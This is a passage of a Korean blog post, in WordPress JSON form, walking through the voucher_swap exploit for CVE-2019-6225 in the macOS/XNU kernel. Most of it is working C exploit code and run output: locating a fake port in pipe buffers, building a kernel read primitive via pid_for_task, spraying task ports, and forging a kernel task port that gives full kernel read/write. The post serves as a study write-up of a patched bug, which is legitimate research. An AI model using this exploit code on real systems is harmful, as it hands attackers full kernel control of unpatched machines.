HERE\\n&quot;);\n<\/code><\/pre>\n<pre><code class=\"language-c\">[*] port: 0x100707\n[*] WE REALLY POSTED UP ON THIS BLOCK -- part 1 of #alwaysstayposted\n[*] getting responses...\n[*] found voucher!! s: 502, j: 45\n[*] port: 0xffffff8031fddd88\n[*] refs: 101\np1_ipc_voucher (3): 0xffffff802ddcce10\n[*] total pipes created: 1280\n[*] new port addr: 0xffffff803211d000\n[*] realloc'ing...\n[*] old port: 100707\n[*] new port: e4b07\n[*] WE REALLY TRAPPIN OUT HERE\n\niv_port\uac00 fakeport\uac00 \uc801\ud78c \ud30c\uc774\ud504 \uc8fc\uc18c\ub97c \uac00\ub9ac\ud0b4, fake new_voucher \uc7ac\ud560\ub2f9 \uc644\ub8cc.\n(lldb) p *(ipc_voucher_t)0xffffff802ddcce10\n(ipc_voucher) $3 = {\n  iv_hash = 0\n  iv_sum = 0\n  iv_refs = (ref_count = 200)\n  iv_table_size = 0\n  iv_inline_table = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0, [6] = 0, [7] = 0)\n  iv_table = 0x0000000000000000\n  iv_port = **0xffffff803211d000 \/\/**fakeport\uac00 \uc801\ud78c \ud30c\uc774\ud504 \uc8fc\uc18c\n  iv_hash_link = {\n    next = nullptr\n    prev = nullptr\n  }\n}\n<\/code><\/pre>\n<p><code>thread_get_mach_voucher<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uba74\uc11c\n<code>ipc_object_copyin<\/code>(osfmk\/kern\/thread.c:3063)\n\u2192 <code>ipc_right_copyin<\/code>(osfmk\/ipc\/ipc_object.c:517) \ud568\uc218\uc5d0\uc11c\n<code>port-&gt;ip_srights++;<\/code> (osfmk\/ipc\/ipc_right.c:2008) \ucf54\ub4dc\uac00 \uc218\ud589\ub41c\ub2e4.<\/p>\n<p><code>ip_srights<\/code> \uac12\uc744 \ube44\uad50\ud558\uc5ec\n\uc5ec\ub7ec \ud30c\uc774\ud504\ub4e4 \uc911\uc5d0 fakeport(\uc989, \uc6b0\ub9ac\uc758 new fake_voucher \uc911 <code>iv_port<\/code>\uc5d0 \uc18d\ud55c \ud30c\uc774\ud504) \uc778\ub371\uc2a4\ub97c \ud655\uc778\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/* find the index of the pipe buffer our fakeport overlapped with *\/\n    int fakeport_pipe_index = 0;\n    for (int i = 0; i &lt; total_pipes; i++)\n    {\n        int rfd = pipefds[2 * i];\n        size_t readsz = read(rfd, pipebuf, pagesize - 1);\n        \n        if (readsz != pagesize - 1)\n        {\n            INFO(&quot;failed to read idx %d\\n&quot;, i);\n            continue;\n        }\n\n        kport_t *iter_port = (kport_t *)pipebuf;\n    \n        if (iter_port-&gt;ip_srights != fakeport-&gt;ip_srights)\n        {\n            INFO(&quot;found our fakeport: %d\\n&quot;, i);\n            INFO(&quot;ip_srights: %d\\n&quot;, iter_port-&gt;ip_srights);\n            fakeport_pipe_index = i;\n\n            int wfd = pipefds[2 * i + 1];\n            write(wfd, pipebuf, pagesize);\n        \n            break;\n        }\n    }\n\n    if (fakeport_pipe_index == 0)\n    {\n        INFO(&quot;failed to find fakeport pipe idx\\n&quot;); exit(1);\n    }\n\n    INFO(&quot;fakeport pipe index: %d\\n&quot;, fakeport_pipe_index);\n<\/code><\/pre>\n<pre><code class=\"language-c\">[*] found our fakeport: 255\n[*] ip_srights: 100\n[*] fakeport pipe index: 255\n<\/code><\/pre>\n<h3>\ud30c\uc774\ud504\uc5d0 \uc4f0\uc778 fakeport\ub97c \uc81c\uc5b4\ud558\uace0 pid_for_task \ud568\uc218\ub85c \ucee4\ub110 \uc77d\uae30<\/h3>\n<p>Mach API\uc778 <code>pid_for_task<\/code> \ud568\uc218\ub294 \uc81c\uacf5\ub41c \uc791\uc5c5 \ud3ec\ud2b8\uc758 \ud504\ub85c\uc138\uc2a4 pid\ub97c \ubc18\ud658\ud55c\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c <code>get_bsdtask_info<\/code>\uac00 \uc81c\uacf5\ub41c \uc791\uc5c5 \ud3ec\ud2b8\uc5d0\uc11c \ud638\ucd9c\ub418\uace0, \uadf8 \ud6c4 <code>proc_pid<\/code>\uc5d0\uc11c \ubc18\ud658\ub41c pid\uac00 \uc0ac\uc6a9\uc790 \uc601\uc5ed\uc73c\ub85c \ubcf5\uc0ac\ub418\ub294 \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4. \uc911\uc694\ud55c \uc810\uc740 \uc81c\uacf5\ub41c \uc791\uc5c5 \ud3ec\ud2b8\ub098 <code>get_bsdtask_info<\/code>\uc5d0\uc11c \ubc18\ud658\ub41c \ud504\ub85c\uc138\uc2a4\uc5d0 \ub300\ud55c \uc720\ud6a8\uc131 \uac80\uc0ac\uac00 \uc218\ud589\ub418\uc9c0 \uc54a\ub294\ub2e4\ub294 \uc810\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">pid_for_task(\n\tstruct pid_for_task_args *args)\n{\n\tmach_port_name_t\tt = args-&gt;t;\n\tuser_addr_t\t\tpid_addr  = args-&gt;pid;\n        \n        [...]\n\n\tt1 = port_name_to_task_inspect(t);\n\n        [...]\n\n        p = get_bsdtask_info(t1); \/* Get the bsd_info entry from the task *\/\n        if (p) {\n                pid  = proc_pid(p); \/* Returns p-&gt;p_pid *\/\n                err = KERN_SUCCESS; \n        } [...]\n\n\t(void) copyout((char *) &amp;pid, pid_addr, sizeof(int));\n\treturn(err);\n}\n<\/code><\/pre>\n<p><code>get_bsdtask_info<\/code>\uc640 <code>proc_pid<\/code> \ud568\uc218\ub97c \uc0b4\ud3b4\ubcf4\uaca0\ub2e4.<\/p>\n<p>\ubcf8\uc9c8\uc801\uc73c\ub85c, \uc774 \ud638\ucd9c\uc744 \ud1b5\ud574 \uc6b0\ub9ac\ub294 <code>task-&gt;bsd_info-&gt;p_pid<\/code> \uac12\uc744 \uac00\uc838\uc62c \uc218 \uc788\ub2e4.  <code>task<\/code> \uad6c\uc870\uccb4(\ud574\ub2f9 \uad6c\uc870\uccb4\ub294 \uc6b0\ub9ac\uc758 <code>fakeport<\/code> \ub0b4\uc758 \ud544\ub4dc)\ub97c \uc81c\uc5b4\ud560 \uc218 \uc788\uae30 \ub54c\ubb38\uc5d0, <code>bsd_info<\/code>\uac00 \uac00\ub9ac\ud0a4\ub294 \uc8fc\uc18c\ub97c \uc644\uc804\ud788 \uc81c\uc5b4\ud560 \uc218 \uc788\ub2e4. \ub530\ub77c\uc11c <code>bsd_info<\/code> \ud3ec\uc778\ud130\ub97c \uc870\uc791\ud568\uc73c\ub85c\uc368 32\ube44\ud2b8 \ucee4\ub110 \uc77d\uae30\uac00 \uac00\ub2a5\ud558\ub2e4. 64\ube44\ud2b8 \uac12\uc744 \uc77d\uc5b4\uc57c \ud55c\ub2e4\uba74, \ub450 \uac1c\uc758 \uc778\uc811\ud55c 32\ube44\ud2b8 \uc77d\uae30\ub97c \uc0ac\uc6a9\ud55c \ud6c4 \uac12\uc744 \uacb0\ud569\ud558\uc5ec \uad6c\ud558\uba74 \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">void  *get_bsdtask_info(task_t t)\n{\n    \/* mov     rax, [t+380h] ... *\/\n    return(t-&gt;bsd_info);\n}\n\nint\nproc_pid(proc_t p)\n{\n    if (p != NULL)\n        \/* mov     eax, [p+60h] *\/\n        return (p-&gt;p_pid);\n    return -1;\n}\n<\/code><\/pre>\n<p>\uc6b0\ub9ac\ub294 \uc774\ubbf8 fake port\ub97c \uc2a4\ud504\ub808\uc774\ud560\ub54c\nfake task\ub97c fake port\uc758 <code>ip_kobject<\/code> \ud544\ub4dc\uc5d0 \ubc30\uce58\ud574\ub450\uc5c8\uace0(\uc815\ud655\ud788\ub294 <code>fake port addr + 0x100<\/code> \uc704\uce58\uc784),\nfake port\uc758 <code>ip_bits<\/code> \ud544\ub4dc\ub97c <code>IO_BITS_ACTIVE | IKOT_TASK<\/code>\ub85c \uc124\uc815\ud574\ub450\uc5c8\ub2e4.<\/p>\n<p><code>ip_bits<\/code> \ud544\ub4dc\ub97c \ud574\ub2f9\uac12\uc73c\ub85c \uc9c0\uc815\ud55c \uc774\uc720\ub294 \uc6b0\ub9ac\uc758 <code>ipc_port<\/code>\uac00 task\ub97c \ub098\ud0c0\ub0b4\ub294 \ud3ec\ud2b8\uc784\uc744 \ud45c\uc2dc\ud558\uba70, \uc774\ub97c \ud1b5\ud574 <code>pid_for_task<\/code>\uc640 \uac19\uc740 \ud638\ucd9c\uc744 \uc0ac\uc6a9\ud560 \uc218 \uc788\uac8c \ud574\uc900\ub2e4.<\/p>\n<pre><code class=\"language-c\">    \/* set up our fakeport for use later *\/\n    kport_t *fakeport = NULL;\n    fakeport = malloc(sizeof(kport_t));\n    bzero((void *)fakeport, sizeof(kport_t));\n\n    **fakeport-&gt;ip_bits = IO_BITS_ACTIVE | IKOT_TASK;**\n    fakeport-&gt;ip_references = 100;\n    fakeport-&gt;ip_lock.type = 0x11;\n    fakeport-&gt;ip_messages.port.receiver_name = 1;\n    fakeport-&gt;ip_messages.port.msgcount = 0;\n    fakeport-&gt;ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;\n    fakeport-&gt;ip_messages.port.waitq.flags = mach_port_waitq_flags();\n    fakeport-&gt;ip_srights = 99;\n#define PIPEBUF_TASK_OFFSET 0x100\n    **fakeport-&gt;ip_kobject = new_voucher.iv_port + PIPEBUF_TASK_OFFSET; \/* place the task struct just after the kport *\/**\n\n    memcpy(pipebuf, (void *)fakeport, sizeof(kport_t));\n<\/code><\/pre>\n<p>\uc774\uc81c \ub9c8\uc9c0\ub9c9\uc73c\ub85c \ucee4\ub110 \uc77d\uae30\ub97c \uc704\ud574 fake task \ub0b4\uc6a9\uc744 \uad6c\uc131\ud55c\ub2e4.\n<code>ref_count<\/code>\uac12\uc744 0xff\ub85c \ub9cc\ub4e0\ub2e4\uc74c,\n<code>bsd_info<\/code> \uc8fc\uc18c\ub97c \uc81c\uc5b4\ud558\uc5ec \ud2b9\uc815 \ucee4\ub110 \uc8fc\uc18c\ub97c \uac00\ub9ac\ud0a4\uac8c \ub9cc\ub4e4\uc5b4 \ucee4\ub110 \uc77d\uae30 4\ubc14\uc774\ud2b8 \ub9e4\ud06c\ub85c\ub97c \uad6c\uc131\ud55c\ub2e4.<\/p>\n<p>\ud604\uc7ac \uc77d\ud790 \ub300\uc0c1 \uc8fc\uc18c\uc778 <code>original_port_addr<\/code> \uc8fc\uc18c\ub294 fake port\uc778 <code>ipc_port<\/code> \uad6c\uc870\uccb4\uc774\uba70 <code>ip_object-&gt;io_bit<\/code>\uc5d0 \ud574\ub2f9\ub41c\ub2e4. \uc77d\uc73c\uba74 <code>IO_BITS_ACTIVE | IKOT_VOUCHER<\/code> \uac12\uc778 <code>0x80000025<\/code>\uc774 \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">    INFO(&quot;starting kreads...\\n&quot;);\n\n    \/* set up the fake task buf for use with the pid_for_task read primitive *\/\n    int rfd = pipefds[2 * fakeport_pipe_index];\n    read(rfd, pipebuf, pagesize);\n\n    ktask_t *fake_task = (ktask_t *)((uint64_t)pipebuf + PIPEBUF_TASK_OFFSET);\n    fake_task-&gt;ref_count = 0xff;\n    \n    int wfd = pipefds[2 * fakeport_pipe_index + 1];\n    write(wfd, pipebuf, pagesize);\n\n    #define off_task_bsd_info 0x380\n    uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + off_task_bsd_info);\n\n    #define off_proc_p_pid 0x60\n    \n    #define rk32(addr, value)\\\n    do {\\\n    int rfd = pipefds[2 * fakeport_pipe_index];\\\n    read(rfd, pipebuf, pagesize);\\\n    *read_addr_ptr = addr - off_proc_p_pid;\\\n    int wfd = pipefds[2 * fakeport_pipe_index + 1];\\\n    write(wfd, pipebuf, pagesize);\\\n    pid_for_task(the_one, (int *)&amp;value);\\\n    } while (0)\n\n        uint32_t read64_tmp;\n\n    #define rk64(addr, value)\\\n    do {\\\n    rk32(addr + 0x4, read64_tmp);\\\n    rk32(addr, value);\\\n    value = value | ((uint64_t)read64_tmp &lt;&lt; 32);\\\n    } while (0)\n\n    INFO(&quot;testing the first read...\\n&quot;);\n\n    uint32_t first_read_val = 0x0;\n    rk32(original_port_addr, first_read_val);\n    INFO(&quot;first read val = 0x%x\\n&quot;, first_read_val);\n<\/code><\/pre>\n<pre><code class=\"language-c\">[*] starting kreads...\n[*] testing the first read...\n[*] first read val = 0x80000025\n<\/code><\/pre>\n<h3>task port \uc2a4\ud504\ub808\uc774\ud558\uae30<\/h3>\n<p>\ud30c\uc774\ud504 \ud560\ub2f9 \uc8fc\uc18c\ub294 \uc30d\ud30c\uc774\ud504 0x500\uc73c\ub85c \ud574\ub450\uc5c8\uae30 \ub54c\ubb38\uc5d0 \ucee4\ub110 \ud560\ub2f9 \ud06c\uae30\ub294 0x1000\uc774\ub2e4.\n\ud30c\uc774\ud504 \ud560\ub2f9\uc8fc\uc18c\uc640 \uc778\uc811\ud558\uac8c \ub9cc\ub4e4\uae30 \uc704\ud574\uc11c 0x1000 \uac19\uc740 \ud06c\uae30\ub85c \ucee4\ub110 \ud560\ub2f9 \uc8fc\uc18c\uc5d0 task port\ub4e4\ub85c \ucc44\uc6cc\uc9c0\uac8c \ub9cc\ub4e0\ub2e4. \uc2a4\ud504\ub808\uc774\ub294 0x1000\ubc88 \uc815\ub3c4 \uc218\ud589\ud574\uc92c\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/spray task ports\n    mach_port_t p[0x1000];\n    for(int i = 0; i &lt; 0x1000; i++) {\n        p[i] = fill_kalloc_with_port_pointer(mach_task_self(), 0x1000\/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);\n    }\n\n<\/code><\/pre>\n<p>fake port \ud30c\uc774\ud504 \ud560\ub2f9\uc8fc\uc18c\ub294 0xffffff802911d000\uc774\uba70,<\/p>\n<pre><code class=\"language-c\">[*] refs: 101\n[*] total pipes created: 1280\n[*] new port addr: 0xffffff802911d000\n<\/code><\/pre>\n<p>fake port \ud30c\uc774\ud504 \ud560\ub2f9\uc8fc\uc18c + 0x50000 ~ +0x160000\uc5d0 \uc804\ubd80\ub2e4 task port \ucee4\ub110 \uc8fc\uc18c\uac00 \ucc44\uc6cc\uc838\uc788\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) x\/4gx 0xffffff802911d000+0x400000\n0xffffff802951d000: 0x0000006480000002 0x0000000000000000\n0xffffff802951d010: 0x0000000000000011 0x0000000000000066\n(lldb) x\/4gx 0xffffff802911d000+0x500000\n0xffffff802961d000: 0xffffff8021ce52a0 0xffffff8021ce52a0\n0xffffff802961d010: 0xffffff8021ce52a0 0xffffff8021ce52a0\n...\n(lldb) x\/4gx 0xffffff802911d000+0x1500000\n0xffffff802a61d000: 0xffffff8021ce52a0 0xffffff8021ce52a0\n0xffffff802a61d010: 0xffffff8021ce52a0 0xffffff8021ce52a0\n(lldb) x\/4gx 0xffffff802911d000+0x1600000\n0xffffff802a71d000: 0xffffff8021ce52a0 0xffffff8021ce52a0\n0xffffff802a71d010: 0xffffff8021ce52a0 0xffffff8021ce52a0\n<\/code><\/pre>\n<p>fake port \ud30c\uc774\ud504 \ud560\ub2f9\uc8fc\uc18c \uae30\uc900 <strong>+ 0x50000 ~ +0x160000 \ud574\ub2f9 \ubc94\uc704<\/strong> \uc0ac\uc774\uc758 \uac12\uc744 \uc77d\uae30\ub9cc \ud558\uba74\n\uc790\uae30 \ud504\ub85c\uc138\uc2a4\uc758 task port\ub97c \uac00\uc838\uc62c \uc218 \uc788\ub2e4.<\/p>\n<p>\uac70\uc758 \uc911\uac04 \ubc94\uc704\uc5d0 \uc704\uce58\ud55c fake port + 0xa0000\uc73c\ub85c task port\ub97c \uac00\uc838\uc628\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/leak our task's ipc_port\n    uint64_t self_port_addr = 0;\n    rk64(new_voucher.iv_port + 0xa00000, self_port_addr);\n    INFO(&quot;our taskport = 0x%llx\\n&quot;, self_port_addr);\n<\/code><\/pre>\n<h3>tfp0\uc6a9 fake kernel port\/fask kernel task \ub9cc\ub4e4\uae30<\/h3>\n<p>\uac00\uc838\uc628 task port\ub294 ipc_port \uad6c\uc870\uccb4\uc774\uae30\uc5d0, ipc_kobject(=kdata.kobject) \ud544\ub4dc\ub97c \uc77d\uc73c\uba74,\n\uc774\ub294 \uace7 task \uad6c\uc870\uccb4 \uc8fc\uc18c\uac00 \ub41c\ub2e4.<\/p>\n<p>\ub9c8\ucc2c\uac00\uc9c0\ub85c <code>proc<\/code>\ub294 \uc591\ubc29\ud5a5 \uc5f0\uacb0 \ub9ac\uc2a4\ud2b8\uc774\ubbc0\ub85c, \ud604\uc7ac \ud504\ub85c\uc138\uc2a4\ubd80\ud130 \uc2dc\uc791\ud574 \uc55e\ucabd\uc73c\ub85c <code>pid=0<\/code>\uae4c\uc9c0 \uc21c\ud68c\ud560 \uc218 \uc788\ub2e4\u2026 \uad6c\uc870\uccb4 \ud544\ub4dc\uc5d0 \uc811\uadfc\ud558\uc5ec \ucee4\ub110 \ud0dc\uc2a4\ud06c\uc5d0\uc11c <code>vm_map<\/code>\uc744 \uac00\uc838\uc624\uc790.<\/p>\n<pre><code class=\"language-c\">\/\/ obtain our task addr; \n    uint64_t struct_task = 0;\n    rk64(self_port_addr + 0x68, struct_task);   \/\/0x68 = p\/x offsetof(struct ipc_port, kdata.kobject)\n    INFO(&quot;our task = 0x%llx\\n&quot;, struct_task);\n\n    uint64_t kernel_vm_map = 0;\n    \n    while (struct_task != 0) {\n        uint64_t bsd_info;\n        rk64(struct_task + 0x380, bsd_info);    \/\/ 0x380 = p\/x offsetof(struct task, bsd_info)\n        if (!bsd_info) {\n            printf(&quot;[-] kernel read failed!\\n&quot;);\n            exit(1);\n        }\n        \n        uint32_t pid;\n        rk64(bsd_info + 0x60, pid); \/\/0x60 = p\/x offsetof(struct proc, p_pid)\n        \n        if (pid == 0) {\n            uint64_t vm_map;\n            rk64(struct_task + 0x20, vm_map);   \/\/0x20 = p\/x offsetof(struct task, map)\n            if (!vm_map) {\n                printf(&quot;[-] kernel read failed!\\n&quot;);\n                exit(1);\n            }\n            \n            kernel_vm_map = vm_map;\n            break;\n        }\n        \n        rk64(struct_task + 0x30, struct_task); \/\/ 0x30 = p\/x offsetof(struct task, tasks.prev)\n    }\n    INFO(&quot;kernel_vm_map = 0x%llx\\n&quot;, kernel_vm_map);\n<\/code><\/pre>\n<p>\uadf8\ub9ac\uace0 \uac00\uc838\uc628 task port \uc911 <code>ip_receiver<\/code> \ud544\ub4dc\ub97c \uc77d\uc73c\uba74 <code>ipc_space_kernel<\/code> \uc8fc\uc18c\ub97c \uac00\uc838\uc62c \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">    uint64_t ipc_space_kernel = 0;\n    rk64(self_port_addr + 0x60, ipc_space_kernel);   \/\/0x60 = p\/x offsetof(struct ipc_port, data.receiver)\n\n    INFO(&quot;ipc_space_kernel = 0x%llx\\n&quot;, ipc_space_kernel);\n<\/code><\/pre>\n<pre><code class=\"language-c\">(lldb) x\/4gx 0xffffff802911d000+0x1600000\n0xffffff802a71d000: 0xffffff8021ce52a0 0xffffff8021ce52a0\n0xffffff802a71d010: 0xffffff8021ce52a0 0xffffff8021ce52a0\n\n(lldb) p\/x *(ipc_port_t)0xffffff8021ce52a0\n(ipc_port) $52 = {\n...\n  data = {\n    receiver = 0xffffff801fbb3fc0\n...\n\n(lldb) p\/x ipc_space_kernel\n(ipc_space_t) $55 = 0xffffff801fbb3fc0\n<\/code><\/pre>\n<p>\uc774\uc81c \ubaa8\ub4e0 \uc900\ube44\ub294 \ub05d\ub0ac\ub2e4.<\/p>\n<p>\uac00\uc9dc \uc791\uc5c5 \uad6c\uc870\uccb4(fake task struct)\ub97c \ub9cc\ub4e4\uae30 \uc704\ud574\uc11c \ud558\ub4dc\ucf54\ub529\ub41c \ub370\uc774\ud130\ub97c \uc0ac\uc6a9\ud558\uace0, \ucee4\ub110\uc758 <code>vm_map<\/code> \ud3ec\uc778\ud130\ub97c \uc0bd\uc785\ud55c\ub2e4. \ub610, fake port\ub97c \ucee4\ub110 task \ud3ec\ud2b8\ub85c \ubc14\uafb8\uae30 \uc704\ud574 <code>ip_receiver<\/code>\ub97c ipc_space_kernel \uc8fc\uc18c\ub85c \uc5c5\ub370\uc774\ud2b8\ud574\uc900\ub2e4.<\/p>\n<p>\uadf8\ub824\uba74 \uc774\uc81c \ud569\ubc95\uc801\uc778 \ucee4\ub110 \ud0dc\uc2a4\ud06c \ud3ec\ud2b8\ub97c \uac00\uc9c0\uac8c \ub41c\ub2e4!<\/p>\n<pre><code class=\"language-c\">    \/\/prepare new port\/task\n    rfd = pipefds[2 * fakeport_pipe_index];\n    read(rfd, pipebuf, pagesize);\n\n    fake_task-&gt;ip_lock.data = 0x0;\n    fake_task-&gt;ip_lock.type = 0x22;\n    fake_task-&gt;active = 1;\n    fake_task-&gt;map = kernel_vm_map;\n    *(uint32_t *)((uint64_t)fake_task + 0xd8) = 1; \/\/ 0xd8 = p\/x offsetof(struct task, itk_self)\n\n    ((kport_t *)pipebuf)-&gt;ip_receiver = ipc_space_kernel;\n\n    \/* update the pipebuffer with new port\/task *\/\n    wfd = pipefds[2 * fakeport_pipe_index + 1];\n    write(wfd, pipebuf, pagesize);\n\n    \/\/kernel r\/w achieved!\n    INFO(&quot;kernel r\/w achieved!\\n&quot;);\n    tfp0 = the_one;\n<\/code><\/pre>\n<p>\uc774\uc81c \uc644\uc804\ud788 \uc791\ub3d9\ud558\ub294 kernel task port\ub97c \uac00\uc9c0\uace0 \uc788\uace0 Mach API\ub97c \ud638\ucd9c\ud558\uc5ec\n\uba54\ubaa8\ub9ac\ub97c \uc77d\uace0 \uc4f0\uac70\ub098 \uc0c8\ub85c \ud560\ub2f9\/\ud560\ub2f9\ud574\uc81c\ud560 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">    uint64_t addr = kalloc(8);\n    \n    if (!addr) {\n        printf(&quot;[-] seems like tfp0 port didn't work?\\n&quot;);\n        exit(1);\n    }\n    \n    printf(&quot;[*] allocated: 0x%llx\\n&quot;, addr);\n    kwrite64(addr, 0x4141414141414141);\n    uint64_t readb = kread64(addr);\n    kfree(addr, 8);\n\n    printf(&quot;[*] read back: 0x%llx\\n&quot;, readb);\n<\/code><\/pre>\n<h2>Exploit result<\/h2>\n<pre><code class=\"language-c\">seos-iMac-Pro% .\/exp \n[*] page size: 0x1000, kr=(os\/kern) successful\n[*] IOSurface_init success, IOSurface_id=0x4\n[*] got gc at 0 -- breaking, t1-t0: 21310253\n[*] port: 0x114707\n[*] WE REALLY POSTED UP ON THIS BLOCK -- part 1 of #alwaysstayposted\n[*] getting responses...\n[*] found voucher!! s: 598, j: 36\n[*] port: 0xffffff802e50e6b8\n[*] refs: 101\n[*] total pipes created: 1280\n[*] new port addr: 0xffffff802e64e000\n[*] realloc'ing...\n[*] old port: 114707\n[*] new port: dae07\n[*] WE REALLY TRAPPIN OUT HERE\n[*] found our fakeport: 91\n[*] ip_srights: 100\n[*] fakeport pipe index: 91\n[*] starting kreads...\n[*] testing the first read...\n[*] first read val = 0x80000025\n[*] our taskport = 0xffffff802a7da150\n[*] our task = 0xffffff802a8043c0\n[*] kernel_vm_map = 0xffffff801c76e5f0\n[*] ipc_space_kernel = 0xffffff801fbb3fc0\n[*] kernel r\/w achieved!\n[*] allocated: 0xffffff807459d000\n[*] read back: 0x4141414141414141\n[*] done, press any key for cleanup\n<\/code><\/pre>\n<h2>\ucc38\uace0\ud55c \uc790\ub8cc \ucd9c\ucc98<\/h2>\n<p>Exploit Code<\/p>\n<p><a href=\"https:\/\/github.com\/PsychoTea\/machswap2\">https:\/\/github.com\/PsychoTea\/machswap2<\/a><\/p>\n<p><a href=\"https:\/\/project-zero.issues.chromium.org\/issues\/42450804\">https:\/\/project-zero.issues.chromium.org\/issues\/42450804<\/a> \ucca8\ubd80\ud30c\uc77c<\/p>\n<p>Writeup<\/p>\n<p><a href=\"https:\/\/project-zero.issues.chromium.org\/issues\/42450804\">https:\/\/project-zero.issues.chromium.org\/issues\/42450804<\/a><\/p>\n<p><a href=\"https:\/\/github.com\/bazad\/presentations\/blob\/master\/TyphoonCon-2019-voucher_swap.pdf\">https:\/\/github.com\/bazad\/presentations\/blob\/master\/TyphoonCon-2019-voucher_swap.pdf<\/a><\/p>\n<p><a href=\"https:\/\/web.archive.org\/web\/20220720022145\/https:\/\/blogs.360.cn\/post\/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202.html\">https:\/\/web.archive.org\/web\/20220720022145\/https:\/\/blogs.360.cn\/post\/IPC Voucher UaF Remote Jailbreak Stage 2.html<\/a><\/p>\n<p><a href=\"https:\/\/googleprojectzero.blogspot.com\/2019\/08\/in-wild-ios-exploit-chain-5.html\">https:\/\/googleprojectzero.blogspot.com\/2019\/08\/in-wild-ios-exploit-chain-5.html<\/a><\/p>\n<p><a href=\"https:\/\/googleprojectzero.blogspot.com\/2019\/01\/voucherswap-exploiting-mig-reference.html\">https:\/\/googleprojectzero.blogspot.com\/2019\/01\/voucherswap-exploiting-mig-reference.html<\/a><\/p>\n<p><a href=\"https:\/\/highaltitudehacks.com\/2020\/06\/01\/from-zero-to-tfp0-part-1-prologue.html\">https:\/\/highaltitudehacks.com\/2020\/06\/01\/from-zero-to-tfp0-part-1-prologue.html<\/a><\/p>\n<p><a href=\"https:\/\/highaltitudehacks.com\/2020\/06\/01\/from-zero-to-tfp0-part-2-a-walkthrough-of-the-voucher-swap-exploit.html\">https:\/\/highaltitudehacks.com\/2020\/06\/01\/from-zero-to-tfp0-part-2-a-walkthrough-of-the-voucher-swap-exploit.html<\/a><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>\uad00\ub828 \uae00\uacfc \ucf54\ub4dc\ub4e4\uc740 \uc544\ub798 \ub9c1\ud06c\uc5d0\uc11c \ud655\uc778\ud558\uc2e4 \uc218 \uc788\uc2b5\ub2c8\ub2e4. https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/tree\/main\/CVE-2019-6225<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[72],"tags":[11,12,13,25],"class_list":["post-3937","post","type-post","status-publish","format-standard","hentry","category-realworld","tag-ios","tag-ios-kernel","tag-macos","tag-pwnable"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3937","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3937"}],"version-history":[{"count":2,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3937\/revisions"}],"predecessor-version":[{"id":3940,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3937\/revisions\/3940"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3937"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3937"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3937"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}